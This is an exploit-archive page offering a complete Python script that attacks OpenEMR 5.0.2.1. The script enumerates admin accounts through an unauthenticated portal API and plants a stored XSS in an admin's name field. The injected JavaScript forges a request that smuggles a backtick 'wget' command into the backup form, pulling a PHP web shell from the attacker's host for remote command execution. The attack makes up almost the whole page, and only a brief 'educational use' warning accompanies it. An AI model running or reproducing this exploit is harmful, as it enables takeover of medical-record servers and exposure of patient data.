exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

OpenEMR 5.0.2.1 Remote Code Execution

OpenEMR 5.0.2.1 Remote Code Execution
Posted Apr 21, 2021
Authored by Hato0, BvThTrd

OpenEMR version 5.0.2.1 remote code execution exploit that drops in a reverse shell.

tags | exploit, remote, shell, code execution
SHA-256 | 19c8469e1f4adb849ff6cc14a09cddd215b6ce8699d9be7ed6adaccfcbba09c2

OpenEMR 5.0.2.1 Remote Code Execution

Change Mirror Download
# Exploit Title: OpenEMR 5.0.2.1 - Remote Code Execution
# Exploit Author: Hato0, BvThTrd
# Date: 2020-08-07
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://sourceforge.net/projects/openemr/files/OpenEMR%20Current/5.0.2.1/openemr-5.0.2.tar.gz/download
# Version: 5.0.2.1 (without patches)
# Tested on: Ubuntu Server 20.04.1 LTS, OpenEMR Version 5.0.2.1
# References:
# https://blog.sonarsource.com/openemr-5-0-2-1-command-injection-vulnerability?utm_medium=cpc&utm_source=twitter&utm_campaign=openemr&utm_term=security&utm_content=tofu
# https://www.youtube.com/watch?v=H8VWNwWgYJo&feature=emb_logo

#!/usr/bin/python3

WARNING='''


===================================== WARNING =====================================
Please do not use for illegal purposes. It's for educational use only.
Please be on the good side.
===================================================================================


'''

import argparse
import http.server
import socketserver
import requests
from termcolor import colored
import json

OPENEMR_DIR = ""
RHOST = "127.0.0.1"
RPORT = 80
VHOST = ""
LHOST = "127.0.0.1"
LPORT = 4444
WPORT = 8080

def main():
print(colored(WARNING, "red"))
arguments()
cookie1, cookie2 = init_session()
jsonReceived, id = get_api(cookie1["OpenEMR"], cookie2["PortalOpenEMR"])
write_payload_js()
write_wshell()
send_xss(id,cookie1["OpenEMR"], cookie2["PortalOpenEMR"], jsonReceived)
if len(VHOST) > 0 :
print(colored("[+]", "green"),f'Your wshell is available at http://{VHOST}/{OPENEMR_DIR}interface/main/wshell.php?cmd=')
else:
print(colored("[+]", "green"),f'Your wshell is available at http://{RHOST}:{RPORT}/{OPENEMR_DIR}interface/main/wshell.php?cmd=')
web_serv()

def arguments():
parser = argparse.ArgumentParser(description='This exploit drop a web shell on an OpenEMR v5.0.2.1 CMS. At the end, GET the URL and run a netcat listener on the LHOST:LHPORT. You will be able to do a Remote Code Execution on this server.')
parser.add_argument("-d", "--directory", dest='directory', nargs='?', help="Root directory OpenEMR CMS")
parser.add_argument("-rh", "--rhost", dest='rhost', help="Remote server IP", required=True)
parser.add_argument("-rp", "--rport", dest='rport', nargs='?', help="Remote server PORT", type=int)
parser.add_argument("-vh", "--vhost", dest='vhost', nargs='?', help="Remote server DOMAIN_NAME")
parser.add_argument("-lh", "--lhost", dest='lhost', help="Reverse shell IP", required=True)
parser.add_argument("-lp", "--lport", dest='lport', help="Reverse shell PORT", type=int, required=True)
parser.add_argument("-wp", "--wport", dest='wport', nargs='?', help="Web Server PORT", type=int)

args = parser.parse_args()

if(args.directory != None):
global OPENEMR_DIR
OPENEMR_DIR = str(args.directory)
if OPENEMR_DIR[-1] != "/":
OPENEMR_DIR += "/"
if(args.rhost != None):
global RHOST
RHOST = str(args.rhost)
if(args.rport != None):
global RPORT
RPORT = int(args.rport)
if(args.vhost != None):
global VHOST
VHOST = str(args.vhost)
if(args.lhost != None):
global LHOST
LHOST = str(args.lhost)
if(args.lport != None):
global LPORT
LPORT = int(args.lport)
if(args.wport != None):
global WPORT
WPORT = int(args.wport)

def init_session():
r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}interface/login/login.php?site=default', headers={'host': VHOST})

if (r.status_code != 200):
print(colored("[-]", "red"),f'An error occured : {r.status_code} ==>\n{r.text}')
exit(1)
else:
print(colored("[+]", "green"),f'Successfully set Session_Regsiter=true with cookie OpenEMR:{r.cookies["OpenEMR"]}')

cookies = {"OpenEMR" : r.cookies["OpenEMR"]}
r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/account/register.php', headers={'host': VHOST}, cookies=cookies)

if (r.status_code != 200):
print(colored("[-]", "red"),f'An error occured : {r.status_code} ==>\n{r.text}')
exit(1)
else:
print(colored("[+]", "green"),f'Successfully set Session_Regsiter=true with cookie PortalOpenEMR:{r.cookies["PortalOpenEMR"]}')


cookies2 = {"PortalOpenEMR": r.cookies["PortalOpenEMR"]}
return (cookies, cookies2)


def get_api(cookieEMR, cookiePortal):
cookies = {"OpenEMR" : cookieEMR, "PortalOpenEMR": cookiePortal}

r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/patient/api/users/', headers={'host': VHOST}, cookies=cookies)

parsed_json = (json.loads(r.text))
for row in parsed_json['rows']:
if row['authorized'] == str(1):
print(colored("[+]", "green"),f'Find admin :')
print(colored('\t[*]', 'yellow'), f'Id = {row["id"]}')
print(colored('\t[*]', 'yellow'), f'Username = {row["username"]}')
print(colored('\t[*]', 'yellow'), f'lname = {row["lname"]}')
print(colored('\t[*]', 'yellow'), f'fname = {row["fname"]}')
id = row['id']
json_to_return = row
if (r.status_code != 200):
print(colored("[-]", "red"),f'An error occured : {r.status_code} ==>\n{r.text}')
exit(1)
else:
return (json_to_return, id)


def write_payload_js():
payload = "var xmlHttp = new XMLHttpRequest();\n"
payload += "var token = window.location.href;\n"
if len(VHOST) > 0 :
payload += "var mainUrl = 'http://{0}/{1}interface/main/tabs/main.php?token_main=';\n".format(VHOST, OPENEMR_DIR)
payload += "var backUrl = 'http://{0}/{1}interface/main/backup.php';\n".format(VHOST,OPENEMR_DIR)
else:
payload += "var mainUrl = 'http://{0}:{1}/{2}interface/main/tabs/main.php?token_main=';\n".format(RHOST, RPORT, OPENEMR_DIR)
payload += "var backUrl = 'http://{0}:{1}/{2}interface/main/backup.php';\n".format(RHOST, RPORT, OPENEMR_DIR)
payload += "var cookieSet = 'OpenEMR=';\n\n"

payload += "token = token.split('=')[1];\n\n"

payload += "xmlHttp.open( 'GET', backUrl, false );\n"
payload += "xmlHttp.send(null);\n\n"

payload += "var response = xmlHttp.responseText;\n"
payload += "var elemHTML = response.split(' ');\n"
payload += "var csrf = '';\n\n\n"


payload += "for(var i=0; i < elemHTML.length; i++)\n"
payload += "{\n"
payload += "\t if(elemHTML[i] == 'name=\"csrf_token_form\"')\n"
payload += "\t {\n"
payload += "\t\t csrf = elemHTML[i+1].split('=')[1].replace(/\"/g,'');\n"
payload += "\t\t break;\n"
payload += "\t }\n"
payload += "}\n\n\n"


payload += "var formData = new FormData();\n\n"

payload += "formData.append('csrf_token_form', csrf);\n"
payload += "formData.append('form_sel_lists[]', 'amendment_status');\n"
payload += "formData.append('form_sel_layouts[]', '`wget http://{0}:{1}/wshell.php -O wshell.php;`');\n".format(LHOST,WPORT)
payload += "formData.append('form_step', '102');\n"
payload += "formData.append('form_status', '');\n\n"

payload += "var request = new XMLHttpRequest();\n"
payload += "request.open('POST', backUrl);\n"
payload += "request.send(formData);\n"

with open('payload.js','w') as fpayload:
for line in payload:
fpayload.write(line)
fpayload.close()
print(colored("[+]", "green"),f'Payload XSS written')


def write_wshell():
with open('wshell.php','w') as fwshell:
fwshell.write("<?php system($_GET['cmd']); ?>\n")
fwshell.close()
print(colored("[+]", "green"),f'Wshell written')


def send_xss(id, cookieEMR, cookiePortal, jsonData):
cookies = {"OpenEMR" : cookieEMR, "PortalOpenEMR": cookiePortal}
jsonData["lname"] = "<script src='http://{0}:{1}/payload.js'> </script>".format(LHOST,WPORT)
jsonData["cpoe"] = 1
jsonData["source"] = 1
jsonData.pop("id",None)
data = json.dumps(jsonData, indent = 4)
r = requests.put(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/patient/api/user/{id}', headers={'host': VHOST}, cookies=cookies, data=data)
print(colored("[+]", "green"),f'Stored XSS dropped')


def web_serv():
Handler = http.server.SimpleHTTPRequestHandler

with socketserver.TCPServer(("", WPORT), Handler) as httpd:
print(colored("[+]", "green"),f'HTTP Simple Server running at localhost PORT {WPORT}')
httpd.serve_forever()


if __name__ == "__main__":
main()

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close